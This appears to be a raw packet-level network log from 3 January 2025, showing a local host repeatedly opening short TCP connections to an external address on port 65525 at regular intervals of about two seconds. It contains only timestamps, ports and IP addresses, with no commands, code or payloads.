Jan 3, 2025 08:08:21.486345053 CET	65525	53148	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:21.486916065 CET	65525	53150	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:21.486968994 CET	53150	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:21.487004042 CET	53150	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:21.491730928 CET	65525	53150	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:23.263339996 CET	65525	53150	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:23.263452053 CET	53150	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:23.263875961 CET	53152	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:23.268290043 CET	65525	53150	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:23.268688917 CET	65525	53152	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:23.268760920 CET	53152	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:23.268760920 CET	53152	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:23.273521900 CET	65525	53152	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:25.096432924 CET	65525	53152	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:25.096790075 CET	53152	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:25.097564936 CET	53154	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:25.101568937 CET	65525	53152	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:25.102343082 CET	65525	53154	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:25.102415085 CET	53154	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:25.102484941 CET	53154	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:25.107289076 CET	65525	53154	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:26.925455093 CET	65525	53154	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:26.925738096 CET	53154	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:26.926551104 CET	53156	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:26.930644989 CET	65525	53154	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:26.931377888 CET	65525	53156	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:26.931446075 CET	53156	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:26.931515932 CET	53156	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:26.936312914 CET	65525	53156	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:28.729717016 CET	65525	53156	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:28.730103970 CET	53156	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:28.730868101 CET	53158	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:28.734888077 CET	65525	53156	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:28.735662937 CET	65525	53158	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:28.735707998 CET	53158	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:28.735729933 CET	53158	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:28.740519047 CET	65525	53158	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:30.515845060 CET	65525	53158	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:30.516002893 CET	53158	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:30.516586065 CET	53160	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:30.520803928 CET	65525	53158	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:30.521435022 CET	65525	53160	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:30.521476984 CET	53160	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:30.521495104 CET	53160	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:30.526258945 CET	65525	53160	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:32.289058924 CET	65525	53160	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:32.289298058 CET	53160	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:32.290240049 CET	53162	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:32.294070005 CET	65525	53160	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:32.295066118 CET	65525	53162	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:32.295131922 CET	53162	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:32.295205116 CET	53162	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:32.299971104 CET	65525	53162	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:35.052226067 CET	65525	53162	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:35.052405119 CET	53162	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:35.052521944 CET	65525	53162	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:35.052571058 CET	53162	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:35.052802086 CET	65525	53162	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:35.052844048 CET	53162	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:35.053015947 CET	65525	53162	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:35.053039074 CET	53164	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:35.053045034 CET	53162	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:35.253241062 CET	65525	53162	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:35.253278017 CET	65525	53164	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:35.253511906 CET	53164	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:35.253746986 CET	53164	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:35.258512020 CET	65525	53164	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:37.029047966 CET	65525	53164	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:37.029301882 CET	53164	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:37.030138969 CET	53166	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:37.034100056 CET	65525	53164	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:37.034909010 CET	65525	53166	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:37.034960985 CET	53166	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:37.034997940 CET	53166	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:37.039803982 CET	65525	53166	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:38.872047901 CET	65525	53166	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:38.872217894 CET	53166	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:38.872922897 CET	53168	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:38.876998901 CET	65525	53166	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:38.877711058 CET	65525	53168	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:38.877754927 CET	53168	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:38.877782106 CET	53168	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:38.882548094 CET	65525	53168	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:40.662388086 CET	65525	53168	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:40.662516117 CET	53168	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:40.663058996 CET	53170	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:40.667363882 CET	65525	53168	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:40.667869091 CET	65525	53170	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:40.667915106 CET	53170	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:40.667942047 CET	53170	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:40.672755003 CET	65525	53170	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:42.469242096 CET	65525	53170	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:42.469369888 CET	53170	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:42.469890118 CET	53172	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:42.474137068 CET	65525	53170	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:42.474675894 CET	65525	53172	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:42.474721909 CET	53172	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:42.474750996 CET	53172	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:42.479516029 CET	65525	53172	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:44.387214899 CET	65525	53172	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:44.387353897 CET	53172	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:44.387856007 CET	53174	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:44.392139912 CET	65525	53172	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:44.392641068 CET	65525	53174	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:44.392688036 CET	53174	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:44.392704010 CET	53174	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:44.397654057 CET	65525	53174	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:46.176258087 CET	65525	53174	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:46.176393032 CET	53174	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:46.177064896 CET	53176	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:46.181194067 CET	65525	53174	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:46.181852102 CET	65525	53176	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:46.181902885 CET	53176	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:46.181915045 CET	53176	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:46.186748981 CET	65525	53176	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:47.980115891 CET	65525	53176	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:47.980361938 CET	53176	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:47.981184006 CET	53178	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:47.985204935 CET	65525	53176	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:47.985903025 CET	65525	53178	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:47.985969067 CET	53178	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:47.986021996 CET	53178	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:47.990789890 CET	65525	53178	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:49.761173010 CET	65525	53178	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:49.761322975 CET	53178	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:49.761835098 CET	53180	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:49.766113043 CET	65525	53178	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:49.766679049 CET	65525	53180	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:49.766721010 CET	53180	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:49.766745090 CET	53180	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:49.771529913 CET	65525	53180	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:51.531795025 CET	65525	53180	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:51.531954050 CET	53180	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:51.532497883 CET	53182	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:51.536782026 CET	65525	53180	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:51.537295103 CET	65525	53182	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:51.537338018 CET	53182	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:51.537362099 CET	53182	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:51.542118073 CET	65525	53182	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:53.312568903 CET	65525	53182	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:53.312731028 CET	53182	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:53.313205957 CET	53184	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:53.317565918 CET	65525	53182	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:53.318017006 CET	65525	53184	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:53.318101883 CET	53184	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:53.318136930 CET	53184	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:53.323205948 CET	65525	53184	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:55.114629030 CET	65525	53184	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:55.114809036 CET	53184	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:55.115340948 CET	53186	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:55.119657040 CET	65525	53184	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:55.120140076 CET	65525	53186	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:55.120220900 CET	53186	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:55.120234013 CET	53186	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:55.124978065 CET	65525	53186	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:56.911448002 CET	65525	53186	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:56.911608934 CET	53186	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:56.912094116 CET	53188	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:56.916476011 CET	65525	53186	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:56.916944981 CET	65525	53188	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:56.917006969 CET	53188	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:56.917042017 CET	53188	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:56.921868086 CET	65525	53188	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:58.707760096 CET	65525	53188	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:58.708018064 CET	53188	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:58.708512068 CET	53190	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:58.712800026 CET	65525	53188	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:58.713366985 CET	65525	53190	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:58.713444948 CET	53190	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:58.713479042 CET	53190	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:58.718305111 CET	65525	53190	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:00.487085104 CET	65525	53190	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:00.487333059 CET	53190	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:00.488030910 CET	53192	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:00.492155075 CET	65525	53190	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:00.492911100 CET	65525	53192	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:00.492991924 CET	53192	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:00.493040085 CET	53192	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:00.497823000 CET	65525	53192	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:02.304348946 CET	65525	53192	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:02.304575920 CET	53192	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:02.305409908 CET	53194	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:02.309469938 CET	65525	53192	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:02.310272932 CET	65525	53194	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:02.310350895 CET	53194	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:02.310471058 CET	53194	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:02.315233946 CET	65525	53194	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:04.074258089 CET	65525	53194	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:04.074477911 CET	53194	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:04.075279951 CET	53196	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:04.079369068 CET	65525	53194	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:04.080073118 CET	65525	53196	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:04.080116034 CET	53196	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:04.080138922 CET	53196	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:04.084861994 CET	65525	53196	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:05.839281082 CET	65525	53196	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:05.839426994 CET	53196	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:05.840020895 CET	53198	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:05.844326019 CET	65525	53196	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:05.844866037 CET	65525	53198	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:05.844908953 CET	53198	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:05.844933033 CET	53198	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:05.849716902 CET	65525	53198	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:07.629064083 CET	65525	53198	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:07.629215956 CET	53198	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:07.629873991 CET	53200	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:07.634008884 CET	65525	53198	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:07.634628057 CET	65525	53200	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:07.634728909 CET	53200	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:07.634802103 CET	53200	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:07.639575958 CET	65525	53200	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:09.407087088 CET	65525	53200	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:09.407277107 CET	53200	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:09.407883883 CET	53202	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:09.412039042 CET	65525	53200	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:09.412672043 CET	65525	53202	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:09.412722111 CET	53202	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:09.412786007 CET	53202	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:09.417452097 CET	65525	53202	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:11.212219954 CET	65525	53202	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:11.212462902 CET	53202	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:11.213222027 CET	53204	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:11.217279911 CET	65525	53202	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:11.218024969 CET	65525	53204	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:11.218077898 CET	53204	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:11.218146086 CET	53204	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:11.222971916 CET	65525	53204	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:12.979604959 CET	65525	53204	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:12.979834080 CET	53204	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:12.980609894 CET	53206	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:12.984666109 CET	65525	53204	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:12.985457897 CET	65525	53206	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:12.985533953 CET	53206	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:12.985580921 CET	53206	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:12.990381956 CET	65525	53206	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:14.786077976 CET	65525	53206	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:14.786509991 CET	53206	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:14.787426949 CET	53208	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:14.791297913 CET	65525	53206	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:14.792257071 CET	65525	53208	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:14.792332888 CET	53208	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:14.792385101 CET	53208	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:14.797142029 CET	65525	53208	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:16.594860077 CET	65525	53208	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:16.595197916 CET	53208	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:16.596010923 CET	53210	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:16.599956989 CET	65525	53208	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:16.600821018 CET	65525	53210	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:16.600924969 CET	53210	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:16.600935936 CET	53210	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:16.612394094 CET	65525	53210	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:18.389606953 CET	65525	53210	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:18.389899969 CET	53210	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:18.390899897 CET	53212	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:18.394627094 CET	65525	53210	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:18.395700932 CET	65525	53212	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:18.395766973 CET	53212	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:18.395833015 CET	53212	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:18.400573969 CET	65525	53212	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:20.176498890 CET	65525	53212	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:20.176814079 CET	53212	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:20.177383900 CET	53214	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:20.181667089 CET	65525	53212	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:20.182216883 CET	65525	53214	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:20.183020115 CET	53214	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:20.183020115 CET	53214	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:20.187779903 CET	65525	53214	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:21.969608068 CET	65525	53214	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:21.969779968 CET	53214	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:21.970295906 CET	53216	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:21.975599051 CET	65525	53214	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:21.976164103 CET	65525	53216	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:21.976229906 CET	53216	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:21.976265907 CET	53216	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:21.981045008 CET	65525	53216	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:23.759398937 CET	65525	53216	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:23.759514093 CET	53216	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:23.760056019 CET	53218	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:23.764368057 CET	65525	53216	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:23.764852047 CET	65525	53218	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:23.764895916 CET	53218	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:23.764919996 CET	53218	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:23.769659042 CET	65525	53218	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:25.565593958 CET	65525	53218	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:25.565767050 CET	53218	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:25.566370964 CET	53220	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:25.570703030 CET	65525	53218	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:25.571296930 CET	65525	53220	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:25.571351051 CET	53220	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:25.571373940 CET	53220	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:25.576236010 CET	65525	53220	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:27.345274925 CET	65525	53220	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:27.345556021 CET	53220	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:27.346347094 CET	53222	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:27.350917101 CET	65525	53220	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:27.351217031 CET	65525	53222	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:27.351269960 CET	53222	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:27.351289988 CET	53222	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:27.356450081 CET	65525	53222	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:29.147660971 CET	65525	53222	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:29.147921085 CET	53222	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:29.148466110 CET	53224	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:29.152676105 CET	65525	53222	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:29.153265953 CET	65525	53224	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:29.153326988 CET	53224	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:29.153384924 CET	53224	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:29.158183098 CET	65525	53224	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:30.937022924 CET	65525	53224	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:30.937324047 CET	53224	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:30.938249111 CET	53226	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:30.942207098 CET	65525	53224	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:30.943114996 CET	65525	53226	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:30.943192005 CET	53226	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:30.943234921 CET	53226	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:30.947973013 CET	65525	53226	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:32.718044043 CET	65525	53226	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:32.718252897 CET	53226	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:32.718302011 CET	53226	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:32.719084024 CET	53228	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:32.723071098 CET	65525	53226	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:32.723956108 CET	65525	53228	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:32.724015951 CET	53228	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:32.724062920 CET	53228	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:32.728832006 CET	65525	53228	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:34.510094881 CET	65525	53228	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:34.510514021 CET	53228	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:34.511152983 CET	53230	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:34.516547918 CET	65525	53228	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:34.516558886 CET	65525	53230	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:34.516618013 CET	53230	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:34.516674995 CET	53230	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:09:34.521395922 CET	65525	53230	212.64.199.97	192.168.2.23
Jan 3, 2025 08:09:36.303898096 CET	65525	53230	212.64.199.97	192.168.2.23
